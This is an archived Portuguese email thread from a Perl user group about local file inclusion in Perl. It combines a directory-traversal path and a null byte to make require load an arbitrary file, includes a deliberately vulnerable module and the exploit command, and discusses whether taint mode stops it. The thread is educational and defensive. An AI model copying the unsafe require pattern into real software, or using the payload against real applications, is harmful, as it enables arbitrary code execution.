<div dir="ltr"><div><div style><div>Se você incluir o null byte dentro do parâmetro -E não há taint que possa ajudá-lo -- pois o exploit está dentro do próprio programa.</div><div><br></div></div><div style>Mas se os dados vem do mundo exterior, como, nesse exemplo, de uma variável de ambiente, o taint pode ser muito útil:</div>
<div style><br></div><div style>    foo='<span style="white-space:pre-wrap">../../../../../../../</span><span style="white-space:pre-wrap">../../home/fvox/poc/</span><a href="http://inc.pl/" target="_blank" style="white-space:pre-wrap">inc.pl</a><span style="white-space:pre-wrap">\00</span><span style="white-space:pre-wrap">' </span><span style="white-space:pre-wrap">perl -I. -T -MModule -E'say testing($ENV{foo}</span><span style="white-space:pre-wrap">);'</span></div>
</div><div style><span style="white-space:pre-wrap"><br></span></div><div style>    Insecure dependency in require while running with -T switch at Module.pm line 15.</div><div style><br></div></div><div class="gmail_extra">
<br><br><div class="gmail_quote">Em 12 de junho de 2013 01:18, Stanislaw Pusep <span dir="ltr"><<a href="mailto:creaktive@gmail.com" target="_blank">creaktive@gmail.com</a>></span> escreveu:<br><blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">
Posso estar enganado, mas taint marca como "sanitizado" quer string que passa por expressão regular. No exemplo acima, nem com o taint corrigiria (não olhei tão atentamente, por outro lado).<div>Alias, quem é que usa taint? :P<span></span><br>

<br>вторник, 11 июня 2013 г. пользователь Tiago Peczenyj  писал:<div><div class="h5"><br><blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex"><div dir="ltr">teste em 'taint' mode :)</div>

<div class="gmail_extra"><br><br><div class="gmail_quote">2013/6/11 Junior Moraes <span dir="ltr"><<a>junior@fvox.com.br</a>></span><br>


<blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">Hi.<br><br>Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1] dentro de um webservice que retorna as informações desejadas. Neste módulo, temos o método adExport() que recebe um parâmetro (que, no caso da aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o módulo.<br>





Fiquei brincando de manipular o path com esse parâmetro, mas a concatenação da string '.pm' dificultava as coisas. Porém, como na exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível ignorar isso com o bom e velho null byte[2].<br>





<br>Escrevi um exemplo prático:<br><pre style="line-height:normal;text-indent:0px;letter-spacing:normal;text-align:start;font-variant:normal;text-transform:none;font-style:normal;font-weight:normal;word-spacing:0px">$ pwd
/home/fvox/poc

$ cat Module.pm
package Module;

use common::sense;
use Moo;
use Carp;

use vars qw(@ISA @EXPORT);
@ISA = qw(Exporter);
@EXPORT = qw(testing);

sub testing {
    my $plugin = shift;

    my $module = 'Module/' . $plugin . '.pm';
    eval { require $module; };
    croak $@ if $@;

    $module =~ s/\//::/g;
    $module =~ s/\.pm$//gi;
    my $obj = $module->new;
}

1;

$ cat <a href="http://inc.pl" target="_blank">inc.pl</a> 
print "Null Byte injetado com sucesso! :)\n";

$ perl -MModule -E'say testing("../../../../../../../../../home/fvox/poc/<a href="http://inc.pl" target="_blank">inc.pl</a>\00");'
<b>Null Byte injetado com sucesso! :)</b>
Can't locate object method "new" via package "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::<a href="http://inc.pl" target="_blank">inc.pl</a>" (perhaps you forgot to load "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::<a href="http://inc.pl" target="_blank">inc.pl</a>"?) at Module.pm line 21.</pre>





<br>Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é possível injetar um 'evil code' num código vulnerável sem muitos problemas. Suponho que também funcione na função open(), entre outros casos.<br>





Alguém já tinha brincado com isso antes? Hhauhauh<br><br>PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de retardado e brincar com isso em 2013... :P<br><br>[1] <a href="https://metacpan.org/module/AnyData" target="_blank">https://metacpan.org/module/AnyData</a><br clear="all">





[2] <a href="http://en.wikipedia.org/wiki/Null_character" target="_blank">http://en.wikipedia.org/wiki/Null_character</a><span><font color="#888888"><br><br>-- <br><br>====================================<br>

Junior "fvox" Moraes<br>Linux Reg. #557527<br>
junior[at]fvox[dot]com[dot]br<br>
fb[dot]com/juniorfvox<br>twitter[dot]com/fvox<br>====================================
</font></span><br>=begin disclaimer<br>
   Sao Paulo Perl Mongers: <a href="http://sao-paulo.pm.org/" target="_blank">http://sao-paulo.pm.org/</a><br>
 SaoPaulo-pm mailing list: <a>SaoPaulo-pm@pm.org</a><br>
 L<<a href="http://mail.pm.org/mailman/listinfo/saopaulo-pm" target="_blank">http://mail.pm.org/mailman/listinfo/saopaulo-pm</a>><br>
=end disclaimer<br>
<br></blockquote></div><br><br clear="all"><div><br></div>-- <br>Tiago B. Peczenyj<br>Linux User #405772<br><br><a href="http://about.me/peczenyj" target="_blank">http://about.me/peczenyj</a>
</div>
</blockquote></div></div></div><span class="HOEnZb"><font color="#888888"><br><br>-- <br>Отправлено с моего iPhone<br>
</font></span><br>=begin disclaimer<br>
   Sao Paulo Perl Mongers: <a href="http://sao-paulo.pm.org/" target="_blank">http://sao-paulo.pm.org/</a><br>
 SaoPaulo-pm mailing list: <a href="mailto:SaoPaulo-pm@pm.org">SaoPaulo-pm@pm.org</a><br>
 L<<a href="http://mail.pm.org/mailman/listinfo/saopaulo-pm" target="_blank">http://mail.pm.org/mailman/listinfo/saopaulo-pm</a>><br>
=end disclaimer<br>
<br></blockquote></div><br><br clear="all"><div><br></div>-- <br>Nelson Ferraz
</div>